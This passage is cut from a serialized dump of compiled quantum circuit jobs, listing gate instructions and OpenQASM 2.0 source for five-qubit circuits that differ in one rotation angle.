[0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1211', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.3, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1213', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.4000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1215', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1217', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 